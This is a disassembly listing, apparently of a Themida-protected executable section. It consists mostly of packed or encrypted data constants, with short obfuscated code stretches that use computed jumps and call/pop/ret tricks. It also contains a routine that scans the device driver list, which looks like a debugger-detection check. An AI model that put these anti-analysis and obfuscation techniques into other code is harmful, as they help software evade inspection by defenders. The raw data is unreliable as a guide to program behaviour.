dd 0BD4FCF6Dh, 0FE91E339h, 0C21C9E2Ch, 0C50B5D2Fh, 0EE47A11Fh
dd 2A7EF54Dh, 22AD9A9Dh, 0A8000009h, 0E187CD2Bh, 1BC1075Dh
dd 51F73D9Bh, 862C72D2h, 2765AB05h, 62BE3F7Bh, 9DF3761Ch
dd 0D92FB157h, 196FED93h, 0CC109CD3h, 21F75A07h, 154172C3h
dd 0A0AE4197h, 7E82C81Eh, 27E03215h, 0B2F9514h, 0F750AEC7h
dd 2CAA5021h, 6E5478CAh, 8C7296F0h, 0A826B40Ah, 87E9BB4Eh
dd 0BF3F2561h, 7604D669h, 0D13FA1F7h, 5462F553h, 0DCEA7DD3h
dd 0E5EE325Ah, 0E5DE08ACh, 5DD0297Bh, 0F5FF9EC4h, 89F05F2h
dd 0A8250000h, 0E0640A50h, 1E9E448Ah, 5DDC82C8h, 9A1BC107h
dd 0E8BAF83Eh, 0B1F751D2h, 0EA30880Bh, 266CC244h, 5EA40280h
dd 8C579B27h, 4E21F75Ah, 9715CCFDh, 32D82B6Fh, 0B82227E0h
dd 47C5D366h, 3208DB1Fh, 68D227E0h, 6CFF59DAh, 0D8B5489Ah
dd 465F1B6h, 624D3009h, 0D32FF45Dh, 38722B2Fh, 981684E6h
dd 209CF83Eh, 0FE54E5A6h, 57Ah, 0B60C9D65h, 0AE301692h
dd 65F3C558h, 26F88BE1h, 5079F8C4h, 26A221F7h, 8AF11E2h
dd 0D6FD9DEh, 745A7EE8h, 3A3EA0F6h, 3A80D654h, 7BFC8C1Ch
dd 99099225h, 6C3AE710h, 801365B7h, 95F87BDCh, 4217B766h
dd 7DDF35B4h, 64D969B1h, 0B87F11A7h, 69DB900Ch, 506ED4h
dd 9DD50000h, 1995B90Bh, 0F658B033h, 0E032D92Ah, 0DA5C4227h
dd 32656EB2h, 0FB6527E0h, 880816A9h, 73C5972Ah, 0EF82EC11h
dd 8EE6654Bh, 50D3602Ch, 23B50787h, 5A2CA85Ch, 130A754Dh
dd 71000000h, 0C117997Fh, 23F125Fh, 40260000h, 1D366BCh
dd 1E7FBE9Fh, 789DC6C9h, 9D83E57Fh, 0BA26B90Bh, 5E8C0162h
dd 13A7881Ah, 0CE520797h, 4F73h, 0B9DDA00h, 3250A3E7h
dd 309A27E0h, 323BC80Ch, 55BF27E0h, 75F9DF03h, 0B60860E3h
dd 7CEF5123h, 8C5EF710h, 5A67EA5Eh, 7D320F6Ch, 23B60845h
dd 0A83B9115h, 0F5B778FAh, 92D652CEh, 0A1730A41h, 0A3BD1F89h
dd 0BEAC28DCh, 958ACE52h, 0F1000000h, 282F1E7Fh, 0E1213483h
dd 0AD0F997Fh, 0C325A389h, 0CA195D61h, 1027E067h, 1B9C82A6h
dd 6724AFF3h, 3CA627E0h, 238557EAh, 8AE4CA13h, 0BF432915h
dd 7604D669h, 36089BF5h, 41F5BAD4h, 54E5E4C5h, 8B13A304h
dd 78466351h, 390B9EF4h, 411E85E7h, 85000000h, 1C071E7Fh
dd 84E5175Bh, 586C3C22h, 4BE1F034h, 43E927E0h, 2D467C1h
dd 5E1100F9h, 97E9077Ch, 0E2001273h, 0F3A2665Eh, 5027A591h
dd 4DF9BEC8h, 54E524D1h, 7ADh, 36361400h, 6D000001h, 0E436h
dd 0B9D6D00h, 76BA26B9h, 2672B071h, 0AB27D394h, 87AA3639h
dd 0B2h, 0F80B4FCBh, 238D4F87h, 4F8714DFh, 276CD68Dh, 9D7A5BBDh
dd 5195B90Bh, 27E03282h, 3EBADE48h, 0E032E9FAh, 5CE1227h
dd 0C527E032h, 4AAC165Bh, 1FBC6BD7h, 0A9C07C0h, 47CBB125h
dd 0C2111C3Ah, 27792D2Ch, 4B25A1C5h, 3647506h, 28954DDFh
dd 5CC3250Bh, 54h
dd 0E036BAA0h, 38197B4Dh, 0FD7D0B9Dh, 0F04214A7h, 327B88CCh
dd 0BAA027E0h, 784ADD3Bh, 32C31054h, 9D0727E0h, 96DA163Bh
dd 27E0324Dh, 0ADD1238Dh, 58EB45C7h, 186ACC4Ah, 28D743B6h
dd 84AC01Fh, 8905B176h, 0C8C20623h, 730660E2h, 7D83FA1h
dd 3F000000h, 6836h, 97156D00h, 0B442AE41h, 127E032h, 0DC5A5017h
dd 96DA567Ah, 27E0324Dh, 9BC1238Dh, 0E70B9D82h, 0E03250A3h
dd 0FD32D627h, 0DB625AE8h, 0CEDA2C96h, 242E2A50h, 2FE0F43h
dd 0F3327E0h, 2844F93h, 5E8227E0h, 0A1151491h, 0EF51BB00h
dd 0E5D250CBh, 0FEE42A54h, 0D6EFFFFh, 333D332Bh, 50CE5CDEh
dd 36B394F6h, 29Ah, 4197156Dh, 0C422A0AEh, 3749607Eh, 42A020B4h
dd 398BDDAFh, 35B39915h, 0C6E40D3h, 0F21DB640h, 37CA3421h
dd 0DE33CCBh, 0E6F375DEh, 11C735F3h, 0B94C9EA7h, 3BCE2AABh
dd 42E4CBCDh, 12A6891Bh, 5AF80296h, 1272F1D7h, 0DD8AF67Fh
dd 0C7F17ED0h, 939C6C75h, 2F559A72h, 3E66CDh, 0C4AA0000h
dd 8759EC42h, 997F4425h, 795FC117h, 80668A30h, 4347A9FFh
dd 0F213B9FFh, 16953B21h, 56AC30BEh, 0E7CD7104h, 0AC7E1167h
dd 0ED717E4Ah, 0FD8FDE0Dh, 1C128E3Ah, 0DDF05AF8h, 57000000h
dd 0BF15997Fh, 8AF85A2Ch, 7317AA0Ch, 0C56EA912h, 1678703Fh
dd 3ED127A8h, 3054B230h, 0D96CCA4Ah, 2432A507h, 60A50A6h
dd 27E01D36h, 83A7017Fh, 420EEB22h, 0D265C3h, 1C7DFFF7h
dd 725894BAh, 513799EFh, 0C23E6258h, 71045ADCh, 10713D9Fh
dd 0DA21F479h, 5895A9Eh, 0AB51DE0Ch, 693BCE2Ah, 0AA0A8917h
dd 0CFF34517h, 0CA1068E9h, 377BA324h, 0DE0C05ACh, 0C70C64E5h
dd 75B20B5Dh, 0CDFF9A6Dh, 42FDDCAh, 38B50000h, 70F49AE0h
dd 0AE2ED41Ah, 0ED6C1258h, 2AAB5197h, 584A88CEh, 4187E162h
dd 7AC0189Bh, 0B6FC52D4h, 0EE349210h, 1CE72BB7h, 0DE21F75Fh
dd 37F5C8Dh, 0E03234BFh, 97ED6D27h, 83ED3204h, 0D632B321h
dd 0EB6E5490h, 0C6790295h, 7BBF9852h, 74E24496h, 415AA0F6h
dd 1D419715h, 0EEF578BCh, 399B1C0Eh, 0DC3AB8C6h, 8B317896h
dd 6FF52367h, 0CD3721F2h, 6F03CE3Ah, 89ABDE0Eh, 635950A6h
dd 4DCDFB3Fh, 0A50FD81Ch, 58A40581h, 7B6A1E02h, 16F80BF7h
dd 9802D43Ch, 0B7F21036h, 7F65E105h, 84B1ECFDh, 4A4DCD85h
dd 59365F8h, 0FFCB2D83h, 0D22BFF66h, 99FA1E88h, 54A2C0FCh
dd 5B5FC160h, 6875F9DFh, 0F45A9984h, 0AD0F6172h, 2369BF3Fh
dd 2527DA1Fh, 0F751D3CAh, 5D2CB1h, 0B7630000h, 27E03228h
dd 3CBFC1E9h, 3BCE24A8h, 7FC51769h, 0CEDB5D43h, 80EC0516h
dd 28BB0D99h, 748F4D56h, 7C0EEB61h, 0D62CAC1Ah, 0BF0CD743h
dd 361027E0h, 9DFB7B71h, 0B7351B57h, 0F91FF61h, 2CBA26B9h
dd 6F27E0BFh, 0ED4EDA9Dh, 0DB667190h, 0A0B89F3Dh, 0DDC9CA5h
dd 0F779E749h, 15425BA1h, 9CAA3D93h, 5431C41Ah, 0ED6F4D32h
dd 0CC3D657h, 6F9EE282h, 0A6B0B90Bh, 8B9CF8B0h, 0DDE12779h
dd 27E0CEEEh, 738DEB08h, 388AA2FDh, 52AC2E14h, 678BEDBFh
dd 54E515ECh, 0FFFF66C6h, 97152DFFh, 0A90AAE41h, 0BC3F2EFAh
dd 0F3685B64h, 9F1D8BEDh, 0C4E50349h, 4896DAFEh, 8A21F236h
dd 0D6218D20h, 32DE0DCEh, 0AF2BDFA0h, 8B5AF7FAh, 37h, 1D037FF2h
dd 8B58449Ch, 4F27E032h, 0C9D83E5h, 9A1692B6h, 0E0328D56h
dd 81E34D27h, 0F21363B5h, 0F487F121h, 0DED7F88h, 200799DEh
dd 0F81C1894h, 0DDF65Ah, 155D0000h, 0A0AE4197h, 2836C91Fh
dd 15B94CAAh, 3D9EAB2Fh, 542D7182h, 3D568BAh, 53B533A1h
dd 8E31090Dh, 48227E0h, 0E1D7EA2h, 0FC5CDBB1h, 0A8E9769h
dd 0AFF317D9h, 27E0F124h, 0B4DA3CA6h, 0B90F9278h, 0D6BE957h
dd 0FB5F47Ah, 0F3E1A7EBh, 0AD5321F2h, 7042D52Bh, 0EFBAD81Eh
dd 0EA65A9CDh, 0C8D81A5Eh, 8B0AA022h, 76C89A2Dh, 9BBF11E3h
dd 96DC34B5h, 0C0196FF0h, 0F5AC4959h, 0CEE1CED1h, 54000001h
dd 953B81D7h, 0CF75BB11h, 0DB3F94Fh, 4AF0368Eh, 0EB296FC9h
dd 268203B7h, 61B73AE0h, 9DF3751Bh, 0D533B157h, 88CC588Fh
dd 21F75D7Bh, 7FFD2E7Fh, 0B0438703h, 3A27E032h, 321FE4D0h
dd 71DB27E0h, 8C20A10Fh, 79ACB50Bh, 85CA4D18h, 15BB0153h
dd 371D4197h, 0F8CA5DB3h, 9D577096h, 4E92B60Ch, 21F213C8h
dd 218D208Ah, 0DE0DECD6h, 0D93AB632h, 0E3C82416h, 0BD463205h
dd 3DDE0DBBh, 905771D3h, 0F87168E4h, 44C3A95Ah, 1D7F51E4h
dd 0AFB6h, 37F1D00h, 0E03234BFh, 0EA4CB627h, 0D9F1FE7Ch
dd 0B2CB7E5h, 76841769h, 85DB5FF5h, 6434A033h, 0AD27E042h
dd 0ED93D92Fh, 79F5196Fh, 0F9BBA518h, 0A8940983h, 27E0405Bh
dd 0E97CD256h, 668D217h, 269C0D93h, 4288BE02h, 2E6A21F2h
dd 0E5D19EAh, 2577E1DEh, 0D2E8C1DFh, 0F78C6AAEh, 46ED81Ah
dd 0E379FAE0h, 6CB20464h, 92EB45C6h, 0F5AF9E81h, 0C6291619h
dd 4C000000h, 8D3379CFh, 0C76DB309h, 5ABF147h, 42E82E86h
dd 0E32167C1h, 1E7AFBBFh, 59AF32D8h, 95EB6D13h, 0CD2BA94Fh
dd 80C45087h, 21F74273h, 15F52677h, 50F63C94h, 152E74D2h
dd 34BF037Fh, 0B627E032h, 0FE7CEA4Ch, 1F9E84A8h, 64B60E8Dh
dd 2A9DFFD1h, 24489E1Ch, 0D164BA3Eh, 59779DFFh, 2466A50h
dd 21F75067h, 7C8A1D87h, 2662A8FEh, 264C240h, 2DC01694h
dd 587F70C1h, 0BAA014CBh, 627CDE38h, 0C7219F9Dh, 0FB5DDB81h
dd 5FDEC468h, 0A0F87B09h, 0F351D03Eh, 74D25260h, 0F850D3E1h
dd 1C30DC65h, 85EF08E6h, 5812D557h, 0B6B47B55h, 3EBADE38h
dd 7740E9FAh, 2587F1C3h, 7DDB59FFh, 3FDEAh, 8B340000h
dd 4098151Ah, 0C7219FADh, 4AA42634h, 0CE26A9B7h, 54AC2D3Bh
dd 0D632B3C1h, 5EB63543h, 0E73DBDCBh, 6CC24654h, 895322D9h
dd 4C381E3h, 83000000h, 1C8704EBh, 2C895C24h, 5F36824h
dd 14890000h, 0E1895124h, 4C181h, 0E9830000h, 240C8704h
dd 240C895Ch, 0E720B9BAh, 0C1DAF709h, 0E2C104E2h, 6BE28107h
dd 8136072Dh, 4154CBCAh, 0B6BE5677h, 81741166h, 583703E6h
dd 81D6F745h, 7E6972C6h, 6E6C121h, 0C272EE81h, 0F229EA64h
dd 0C8B545Eh, 4C48324h, 4EC81h, 14890000h, 8418F24h, 50240C8Bh
dd 405E089h, 5000000h, 4, 5C240487h, 5A2434FFh, 0E904C483h
dd 0FFFBD552h, 0BB279621h, 0C5CBEFBBh, 5CDEF0F7h
db 25h, 0B4h
; ---------------------------------------------------------------------------
loc_5D2D36: ; CODE XREF: Themida_:005D1DF8j
mov eax, 61771B4h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 95h
dd 9413D89Fh, 906FA34Ch, 3F3BF3E5h, 0AA1CA3D6h, 86325D3Ch
dd 0E0780671h, 7E34B8EBh, 0AA0AA1A7h, 5F670059h, 0C873F0A8h
dd 0F601D83Eh, 3707167h, 4167CC58h, 0FC3C2923h, 9411ECA0h
dd 0F9067739h, 16701E8Ch, 0D96C5A92h, 0AC128D62h, 0CF4DA188h
dd 0EE1E2472h, 4B1E2DA8h, 52B3508h, 3D530B3Fh, 2C0D6B15h
dd 203B0FFCh, 0AA6C0C1Dh, 0E8204F33h, 0Ch, 3A27DF91h, 0C42FD469h
dd 36EFB0DFh, 48F0Fh, 0BB660000h, 815E7D81h, 625F77E9h
dd 0FDC68161h, 0B9000058h, 22AA83A6h, 8C0FC02Bh, 4, 5A47B251h
dd 0F063C8Bh, 0C781D9BFh, 26F42FD0h, 64F18060h, 0F78BBA66h
dd 0A4EF8161h, 0F41E00Dh, 280h, 81F48A00h, 0A56ECBC7h
dd 65C5BB6Eh, 0F575411h, 48FC9BFh, 0B6C0BA06h, 0F0BB6940h
dd 8326EACEh, 870F04E8h, 4, 431FBA66h, 0A7B8F881h, 850FFFFFh
dd 0Ah, 28E9h, 6B18FE00h, 6660C2EBh, 56A97CB8h, 18F7C181h
dd 615E2114h, 0FFFF8BE9h, 7ACD1FFh, 24BDDACh, 7568618Bh
dd 8BD1A0F7h, 0E99D8D0Eh, 0B8061216h, 0CEh, 269D8589h
dd 0E80612h, 58000000h, 0D05h, 0E9038900h, 0CEh, 33h dup(76F20000h)
dd 5BE9FFFFh, 0E9000001h, 8, 0DEA94DABh, 7C077CDBh, 7518B58Dh
dd 8B0F0617h, 0Ch, 6880Fh, 850F0000h, 0
; ---------------------------------------------------------------------------
jmp loc_5D2FA0
; ---------------------------------------------------------------------------
db 0B7h, 2Ah, 7Fh
dd 3105877Dh, 0FC81C8F0h, 8FA8654h, 0ED431B41h
; ---------------------------------------------------------------------------
loc_5D2FA0: ; CODE XREF: Themida_:005D2F88j
lea eax, [ebp+6154CD8h]
jmp loc_5D2FB1
; ---------------------------------------------------------------------------
db 0E1h
dd 59D71B0h
; ---------------------------------------------------------------------------
pop edi
loc_5D2FB1: ; CODE XREF: Themida_:005D2FA6j
call eax
jnb locret_5D2FCF
jmp locret_5D2FCF
; ---------------------------------------------------------------------------
dw 1EBCh
dd 0FD023D8Bh, 0B569BD7Eh, 89605027h
db 0A7h, 0E5h, 27h
; ---------------------------------------------------------------------------
locret_5D2FCF: ; CODE XREF: Themida_:005D2FB3j
; Themida_:005D2FB9j
retn
; ---------------------------------------------------------------------------
push 0
push esi
call sub_5D2FDB
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D2FDB proc near ; CODE XREF: Themida_:005D2FD3p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_5D2FDB endp
; ---------------------------------------------------------------------------
mov ds:0A23BBF49h, eax
sbb eax, 0D98C6667h
jmp loc_5D3006
; ---------------------------------------------------------------------------
dw 8F73h
; ---------------------------------------------------------------------------
push ss
daa
cmp ecx, [edx-9C3CA9Ah]
das
push ss
loc_5D3006: ; CODE XREF: Themida_:005D2FF5j
test cl, 4
jz loc_5D3057
jmp loc_5D301F
; ---------------------------------------------------------------------------
dd 89A2EFDCh, 42BC8051h
db 0ADh, 3Fh, 0E1h
; ---------------------------------------------------------------------------
loc_5D301F: ; CODE XREF: Themida_:005D300Fj
mov edi, ebx
mov ecx, ebx
xor al, al
loc_5D3025: ; CODE XREF: Themida_:005D3026j
scasb
jnz short loc_5D3025
sub ecx, edi
neg ecx
sub edi, ecx
mov edx, edi
dec ecx
mov ebx, ecx
jmp short $+2
VMMCall VMM_GetDDBList
loc_5D303B: ; CODE XREF: Themida_:005D3055j
or eax, eax
jz short loc_5D3057
lea esi, [eax+0Ch]
mov edi, edx
mov ecx, ebx
loc_5D3046: ; CODE XREF: Themida_:005D304Aj
cmpsb
jnz short loc_5D3053
dec ecx
jnz short loc_5D3046
mov eax, 1
jmp short locret_5D305C
; ---------------------------------------------------------------------------
loc_5D3053: ; CODE XREF: Themida_:005D3047j
mov eax, [eax]
jmp short loc_5D303B
; ---------------------------------------------------------------------------
loc_5D3057: ; CODE XREF: Themida_:005D3009j
; Themida_:005D303Dj
mov eax, 0
locret_5D305C: ; CODE XREF: Themida_:005D3051j
iret
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_5D3068
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D3068 proc near ; CODE XREF: Themida_:005D3060p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ah
inc ecx
push ecx
retn
sub_5D3068 endp
; ---------------------------------------------------------------------------
dd 35BA4D22h, 0E925B2D8h, 0Bh, 0EF065117h, 9CC805ACh, 0FC7FB976h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 60C35242h
dd 0E3589527h, 8870Fh, 8B0F0000h, 2, 85C76160h, 617755Dh
dd 1013Fh, 76DD8D8Dh, 6A0617h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1A0424h, 52420000h, 0DECCF5C3h, 51588380h
dd 2169858Bh, 85890612h, 6122341h, 2DCD8D89h, 6A0612h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
dd 0DD347DC3h, 4B1EFCC3h, 85314DD5h, 612283Dh, 31BD85C7h
dd 67600612h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 190424h, 55450000h, 0E664CEC3h, 0F6AB3EDh, 58Ah, 0E8816600h
dd 85C78611h, 6120011h, 0
; ---------------------------------------------------------------------------
mov edx, ebx
push dword ptr [ebp+6120841h]
jge loc_5D3180
mov edx, [ebp+612149Dh]
loc_5D3180: ; CODE XREF: Themida_:005D3174j
call dword ptr [ebp+6122781h]
push 0
push edi
call sub_5D3191
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D3191 proc near ; CODE XREF: Themida_:005D3189p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Dh
inc edi
push edi
retn
sub_5D3191 endp
; ---------------------------------------------------------------------------
db 0B2h, 56h, 8Bh
dd 8EEE2875h, 661EC9D1h, 0F35ED281h, 95FF006Ah, 61229D1h
dd 1AEBC08Bh, 3C7276F7h, 94657D65h, 0F922BCE0h, 0CCBD3324h
dd 759B85E6h, 8092A6B8h, 6E88F37h, 3C000000h, 0BEF7BC2h
dd 0B5315A0Fh, 6120C6Dh, 71A0C281h, 66600000h, 80EA72BAh
dd 33610BC1h, 19BD8BDBh, 0FF06122Ch, 0F28B1334h, 8ABE6658h
dd 0E0F08133h, 8116D06Eh, 0A35089C0h, 0BE875h, 5B360000h
dd 0AF2057A7h, 0A938F041h, 80FC6053h, 596193E4h, 1327C081h
dd 0E95753A8h, 0Ah, 91656871h, 0F9EB58CDh, 895936B3h, 0FB8B1A04h
dd 8AD9D89h, 0EB830612h, 85BD8B01h, 4B061202h, 8D8B4B4Bh
dd 6122885h, 8EF0FB81h, 850FFFFFh, 0FFFFFF93h, 0EBCE8B66h
dd 60h, 17h dup(0)
dd 0C09E900h, 0FDE90000h, 6800000Bh, 6178041h, 0FB08F4E9h
dd 81D868FFh, 0EAE90617h, 68FFFB08h, 617823Dh, 0FB08E0E9h
dd 0D13E53FFh, 6EA1EB84h, 0D028821h, 0A76827C0h, 43CCC15Ah
dd 3FAF06F6h, 0DB74C14Eh, 79125FB0h, 12ABF817h, 6C46937Ch
dd 0D772151Dh, 34114DF6h, 4EAD9C1Dh, 2EF88649h, 0FD146D9Bh
dd 0E1B7157Ch, 0F4A4D110h, 47DFD693h, 4152E5F0h, 0DC90C54Ah
dd 2F3664E5h, 0E40D0288h, 0C255E45Fh, 0E835DAB1h, 9BD03F4Fh
dd 1C51BED2h, 1503CF5h, 0ED0975EDh, 0C95CC78Dh, 73CD3B8h
dd 1C04F3Eh, 94C94648h, 80492EC1h, 8A43020Dh, 91760906h
dd 1348C7C8h, 9ACF404Ah, 1F54BBD1h, 40488992h, 47DF9347h
dd 52EA256Bh, 9CD13E51h, 34F35EC9h, 69FC137Bh, 93EF2FAh
dd 334A49F5h, 0F6A25C2Bh, 0D936564Dh, 2E39D1A4h, 8948539Bh
dd 653BCD0h, 0F6B59CA9h, 0F6A295EEh, 9ED3DE4Dh, 9756B9D5h
dd 0A30F7880h, 616C4DF6h, 59DAD1CEh, 0FE18B7DEh, 41CEC0D3h
dd 141543D6h, 80A67693h, 86D58021h, 685C70F6h, 495AED58h
dd 9E4CCA45h, 0B9A2AEB8h, 54C41FAh, 3A869670h, 0DA0F7A1Fh
dd 86467407h, 5AB5D68Fh, 0DF305C25h, 0D96CD7AAh, 0EACE16ABh
dd 625B25BCh, 0AD000000h, 3BB9A2AEh, 1E7CFD14h, 7F8DD88Ch
dd 53349427h, 947DF85h, 0BA5539F2h, 0DF857D0Ah, 0B8CFD747h
dd 0CB47DF85h, 8A1D28C0h, 0F7783742h, 0C254F0A2h, 452A34BBh
dd 335681CCh, 140735C8h, 0F51A723Eh, 70171F36h, 1347DF5Fh
dd 51477508h, 387403h, 1C9D0000h, 0E31A1C5h, 4745A6D7h
dd 2DC093C8h, 0C3A2AEFFh, 5EDC47C8h, 0DC335B14h, 0B5D2DA49h
dd 9F47DF5Fh, 0D76AA5E6h, 149412FDh, 0F51A723Eh, 20D7D36h
dd 3967FACDh, 0A5AE0351h, 3F8001C0h, 0AA17B7A4h, 0B1D6DE9Dh
dd 0D247DFAFh, 0BDC534C7h, 49F1CD8Dh, 0A0B8EDF8h, 4DF1ACEBh
dd 5F48C908h, 0C74C9794h, 5889D568h, 0AE905131h, 1958624h
dd 0AED80000h, 0E6FDBCA1h, 0DF5FA9DEh, 3CCFDA47h, 5FFAC5CDh
dd 0BEC947DFh, 41CEC089h, 1C723EF4h, 0B89E75F3h, 0DB345B14h
dd 1A72D3A6h, 818D62F5h, 0D0861E9Ch, 0BCEACE16h, 455B25h
dd 0EB6C0000h, 444DCDA9h, 0AFDD70B1h, 3BB9A2AEh, 5F7B0C14h
dd 0FD0847DFh, 143E147Fh, 4DE02F5Bh, 41BF503Ch, 0A3ABC251h
dd 47DF5FE4h, 0CBF98C97h, 0F7029314h, 81A133F4h, 0A6CDBAC2h
dd 0A3AE47DFh, 420110h, 0AE6B0000h, 4DCCC3A2h, 3166D13Eh
dd 82ED2268h, 0C149917h, 47DF5F7Bh, 140D8B76h, 0C44B44FDh
dd 0FB29BC8Fh, 77F51A72h, 0F6829314h, 0D9EEDB74h, 4851446h
dd 0E8A06056h, 177078EFh, 6447DFF6h, 2D5BEE59h, 0FDBCA1AEh
dd 9F20577Ch, 0C8C8B8F6h, 0DA49DC47h, 0DFBEE9D2h, 9ACFDA47h
dd 3AD5BA73h, 0C04F3C05h, 0BA4DB88Bh, 0DD2AE5A9h, 0F31C7227h
dd 0AEB89E75h, 143BB9A2h, 0D3B32393h, 8417079Dh, 0CE16D187h
dd 5B25BCEAh, 60h, 34DBB36Ch, 0A2AE73A1h, 0FD143BB9h, 36C94644h
dd 0DF5FB1D6h, 49C7D247h, 5B143E14h, 0D8ABE02Fh, 0F9583445h
dd 86080BB6h, 58815489h, 73DE10D6h, 7C9314F5h, 3F627A08h
dd 5CD52952h, 49996B21h, 74F584B6h, 5DEABA0Ch, 96C4577Ah
dd 3474h, 0A71C9D00h, 96791723h, 85658E61h, 6E9C2FDAh
dd 3BB9A2AEh, 5F7B0C14h, 8B7647DFh, 723E140Dh, 0EE99A11Ah
dd 8D47DF5Fh, 9F581782h, 0CBC021EEh, 5183B144h, 0A27403h
dd 0AEDE0000h, 0F5FDBCA1h, 47DF5FCAh, 0F0B9EEF9h, 0F9B2719Eh
dd 73467B94h, 722DE3E0h, 9E75F31Ch, 40CFBE77h, 77A5380Bh
dd 3BB9A2AEh, 70788F86h, 47DF6017h, 98C65964h, 0BCEACE16h
dd 465B25h, 0AEAD0000h, 79FAB9A2h, 334FA1A7h, 0C0EE8127h
dd 5F7B0C14h, 0CAE147DFh, 5FDCABB3h, 949F47DFh, 0DF5FA3E4h
dd 42D5E047h, 1471EFFAh, 0FF1A723Eh, 76497E91h, 0C2518D0Bh
dd 5FE4A3ABh, 8C9747DFh, 1D74CBF9h, 0DE000000h, 0F1FBA2AEh
dd 0EEE00564h, 14EB69D4h, 0DF5F7B0Ch, 0D8B7647h, 1A723E14h
dd 35177F5h, 0BEF31C72h, 127E9BF5h, 4E4592FDh, 8417F895h
dd 98A01B73h, 47DF5FEFh, 0FE58818Ch, 39EF8C3h, 5E76AB16h
dd 47E00A2Fh, 0D80D028Bh, 5C917E0Fh, 0AA2FB2C6h, 88637E6Ah
dd 23BC0906h, 0CF6FA46Bh, 0C21F4B41h, 0D3546727h, 0EC396FBDh
dd 6F18C8E8h, 0C47DFEEh, 0EEE2A5ADh, 96A147DFh, 4801C02Bh
dd 0C497CC43h, 0BD58399Bh, 8417389Dh, 76212A87h, 590B5DEBh
dd 31F05B5Eh, 0E629611Ah, 0EB4BDEB1h, 49F1825Fh, 465E939Eh
dd 4DF17845h, 0C0F51A75h, 187996F7h, 0CE649976h, 8AB227BAh
dd 0A41C736Eh, 7124AEE6h, 1Eh, 0F31C72C3h, 0FB147B34h
dd 7B60F3C6h, 0DF602463h, 1EC3AF47h, 0F744CBC3h, 0CA454700h
dd 1C720937h, 1697BEF3h, 5B69CF8Dh, 0F1C65982h, 323AF9E8h
dd 49F5006Ah, 0BA73323Dh, 0ACA93CD3h, 471834B5h, 0F126E9A6h
dd 0C564F51Eh, 0DFE8BD50h, 1F2B33F2h, 5E5008E9h, 85061E53h
dd 6E47E4D0h, 0FF1A762Fh, 8518838Ch, 0E1E1A839h, 3622B98Fh
dd 3Bh, 0F5FD1488h, 47DF5F92h, 7E53E6F1h, 0B6CD8C71h, 6BA4E69Fh
dd 0DF5FCCBBh, 0DFAEAF47h, 0BD28FB30h, 5FEDCA2Ah, 0C3CE47DFh
dd 0DA3F4B04h, 0E62966B3h, 873467Bh, 2024BBh, 0AE8E0000h
dd 0F5FDBCA1h, 47DF5FC6h, 5A13D2DDh, 0D4A7DC33h, 7119D241h
dd 6426DF9Eh, 10A376ABh, 87745D13h, 0DE000001h, 92F5FD14h
dd 0CA47DF5Fh, 0DF5FC5C2h, 13ABB647h, 2BE4A708h, 0BB9023F6h
dd 9E4AC8ADh, 0F31C72B8h, 788F8675h, 0E43CCBFh, 5FFC8B3Bh
dd 747F47DFh, 5FDAADB5h, 9EA947DFh, 0CE16DD0Bh, 5B25BCEAh
dd 4Ah, 0A09314ADh, 9BD15630h, 6D7B50E3h, 0C140A88h, 47DF5F7Bh
dd 0C5C2CAE1h, 0B647DF5Fh, 0C5D018ABh, 0A0E7EF06h, 0E347DF5Fh
dd 141745D8h, 0A8DD325Bh, 0FDD342D5h, 79F71872h, 0FD140351h
dd 0DF5F92F5h, 53E6F147h, 3B44h, 0A0AEAE00h, 60285F67h
dd 505B47DFh, 0C1467E5h, 47DF5F7Bh, 140D8B76h, 3918723Eh
dd 0E1364DC0h, 1C515F8h, 0E8FACC31h, 5194127Dh, 0E4A3ABC2h
dd 9747DF5Fh, 0E61BF496h, 0E715A813h, 1F351C72h, 0D2C2D765h
dd 4C818EFCh, 474F0E79h, 47DFD940h, 0ECD3843h, 46D7B08Dh
dd 99C6118h, 0AEB89EDBh, 41FAB9A2h, 0B88BC04Fh, 0D086F725h
dd 0BCEACE16h, 0CFD7EE25h, 4ADF5FB8h, 0F901C0CBh, 4ADF5F8Eh
dd 4D4FE2EDh, 45h, 24EBA55Eh, 0A2AE6391h, 7579FAB9h, 0C9B48163h
dd 143F6D00h, 48DB345Bh, 8109C2D9h, 0F386598Eh, 0DF5FF493h
dd 0FE7C8747h, 92F5FD14h, 0F147DF5Fh, 3F749BF0h, 0FF6E016Ch
dd 0F51A7229h, 74035177h, 1Dh, 0B9A2AEDEh, 7B0C143Bh, 7647DF5Fh
dd 3E140D8Bh, 36F51A72h, 0CD020D7Dh, 513967FAh, 0F11E7203h
dd 5FEAA4BCh, 1ADE47DFh, 9B741CC7h, 1E72984Eh, 9DF3BCF1h
dd 0B75E3D72h, 242C8FFEh, 47DF5F63h, 75AA1520h, 45C6B1E4h
dd 35A04C14h, 28B56A2h, 70784349h, 47E05217h, 0B9EE5964h
dd 4E4253E6h, 5222656Dh, 566147E0h, 0EEA79EEBh, 6B3E739Ch
dd 545678D8h, 21DE47E0h, 22BC1AA0h, 0FFFE2775h, 5B14C7FFh
dd 0E949DC33h, 47DF5FA2h, 0DF6042C9h, 5F5F2947h, 0E4FB47DFh
dd 0DF5FABDCh, 0DEA9B147h, 9D47DF5Fh, 30EFFA92h, 0DF5F5F28h
dd 7E111C47h, 0DF5F6D1Eh, 5F8DFE47h, 0B8CF47DFh, 0DF5FD7B0h
dd 699A447h, 0DF5FE5A6h, 19081187h, 2BEEA15Ah, 0A87BB05Fh
dd 243BAA3Dh, 0BBF01F6Bh
dd 97F555E8h, 6309F257h, 5743444Ch, 35400DF4h, 904F5AA2h
dd 325BB4D7h, 0DAD6D220h, 6247DA91h, 0E0B823Bh, 86598E81h
dd 8013E61Bh, 0F4B3A2ABh, 593E2ECh, 69242510h, 0E3A871A6h
